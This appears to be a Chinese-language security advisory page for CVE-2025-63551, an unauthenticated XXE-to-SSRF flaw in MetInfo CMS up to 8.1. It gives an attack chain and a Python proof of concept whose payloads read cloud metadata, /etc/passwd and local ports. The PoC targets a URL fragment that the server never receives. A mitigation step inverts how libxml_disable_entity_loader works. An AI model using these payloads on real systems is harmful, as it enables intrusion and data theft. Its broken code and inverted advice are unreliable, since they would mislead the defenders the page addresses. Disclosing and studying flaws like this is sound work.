IPBUF安全漏洞报告
English
CVE-2025-63551 CVSS 7.5 高危

CVE-2025-63551: MetInfo CMS XXE注入导致SSRF漏洞

披露日期: 2025-11-06

漏洞信息

漏洞编号
CVE-2025-63551
漏洞类型
SSRF/XXE注入
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
MetInfo CMS

相关标签

SSRFXXE注入MetInfo CMSXML注入服务器端请求伪造内容管理系统高危漏洞

漏洞概述

CVE-2025-63551是MetInfo内容管理系统(CMS)8.1及之前版本中的一个高危安全漏洞。该漏洞被分类为服务器端请求伪造(SSRF),通过XML外部实体(XXE)注入实现。漏洞的根本原因在于MetInfo CMS的XML解析逻辑存在缺陷,当系统处理用户提供的XML数据时,未能正确过滤或限制外部实体引用。攻击者可以利用这一弱点构造恶意的XML实体定义,诱导服务器向任意内部或外部网络地址发起HTTP请求。成功利用此漏洞可能导致内部网络侦察、端口扫描或敏感信息检索等后果。由于该漏洞存在于管理后台API中(路径:/admin/#/webset/?head_tab_active=0),且无需认证即可利用,因此对未修复的系统构成严重威胁。CVSS评分7.5(高危)反映出该漏洞具有网络可达性、低攻击复杂度和高度机密性影响的特点。

技术细节

该漏洞的技术原理涉及XML外部实体(XXE)注入与服务器端请求伪造(SSRF)的结合利用。在MetInfo CMS的XML解析模块中,应用程序在处理XML输入时启用了外部实体解析功能,这使得攻击者可以在XML文档中通过<!DOCTYPE>或<!ENTITY>声明定义外部实体。当解析器处理这些外部实体时,会尝试访问实体中指定的URI资源。攻击者可以通过构造如<!ENTITY xxe SYSTEM "http://internal-host:port/secret">这样的恶意实体,强制服务器向内部网络地址发起请求。由于服务器端执行这些请求,攻击者可以绕过网络边界限制,探测内网服务、读取本地文件内容或进行端口扫描。在MetInfo CMS中,漏洞点位于处理webset配置的后端API接口,该接口接收并解析XML格式的配置数据。攻击者只需构造包含恶意外部实体引用的XML payload并提交到相关接口,即可触发SSRF行为。值得注意的是,这种攻击方式不需要任何认证凭据,且可以通过HTTP请求直接触发,大大降低了攻击门槛。

攻击链分析

STEP 1
步骤1
攻击者识别目标站点使用的MetInfo CMS版本,确认版本号<=8.1
STEP 2
步骤2
攻击者访问管理后台API接口/admin/#/webset/?head_tab_active=0
STEP 3
步骤3
构造包含恶意外部实体引用的XML payload,利用XXE注入触发SSRF
STEP 4
步骤4
通过XML实体定义强制服务器向内部网络地址(如元数据服务、本地文件)发起HTTP请求
STEP 5
步骤5
服务器执行请求并将响应内容返回给攻击者,实现内网探测、端口扫描或敏感信息读取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-63551 XXE->SSRF PoC for MetInfo CMS # Target: MetInfo CMS <= 8.1 target_url = "http://target.com/admin/#/webset/?head_tab_active=0" # Malicious XML payload with XXE to trigger SSRF xxe_payload = '''<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/" > ]> <root> <config>&xxe;</config> </root>''' # Alternative: File read via XXE xxe_file_payload = '''<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <root> <config>&xxe;</config> </root>''' # Alternative: Port scanning via SSRF xxe_scan_payload = '''<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "http://127.0.0.1:22/" > ]> <root> <config>&xxe;</config> </root>''' def exploit(target, payload): """Send XXE payload to trigger SSRF""" headers = { 'Content-Type': 'application/xml', 'User-Agent': 'Mozilla/5.0' } try: response = requests.post(target, data=payload, headers=headers, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" # Execute exploit result = exploit(target_url, xxe_payload) print("SSRF Response:", result)

影响范围

MetInfo CMS <= 8.1

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)禁用PHP等后端语言中的libxml_disable_entity_loader函数以阻止XXE注入;2)配置Web应用防火墙规则拦截包含<!DOCTYPE、<!ENTITY、SYSTEM等关键字的请求;3)对/admin/路径下的接口实施强制认证和IP访问限制;4)使用网络分段技术隔离Web服务器与内网敏感资源;5)监控服务器出站HTTP请求日志,及时发现异常的SSRF行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表